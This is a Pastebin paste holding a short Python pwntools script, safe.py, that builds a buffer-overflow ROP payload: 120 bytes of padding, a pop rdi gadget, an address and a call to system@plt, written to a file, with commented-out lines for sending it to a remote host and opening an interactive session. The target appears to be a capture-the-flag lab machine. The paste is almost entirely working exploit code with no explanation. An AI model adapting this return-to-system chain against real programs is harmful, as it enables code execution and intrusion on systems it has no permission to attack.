Advertisement
Guest User

Untitled

a guest
Oct 16th, 2019
272
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.51 KB | None | 0 0
  1. GNU nano 4.5 safe.py
  2. #!/usr/bin/env python
  3.  
  4. from struct import *
  5. from pwn import *
  6.  
  7. #r = remote("10.10.10.147", 1337)
  8.  
  9. junk = 'A'
  10. off = 120
  11. plt_system = p64(0x401040)
  12. plt_puts = p64(0x401030)
  13. got_puts = p64(0x404018)
  14. pop_rdi = p64(0x40120b)
  15. h = p64(0x400060)
  16. buf = ""
  17. buf += "A"*(120-len(buf))
  18. buf += pop_rdi
  19. buf += h
  20. buf += plt_system
  21. #r.sendline(payload)
  22. #r.interactive()
  23. f = open('safe', 'w')
  24. f.write(buf)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement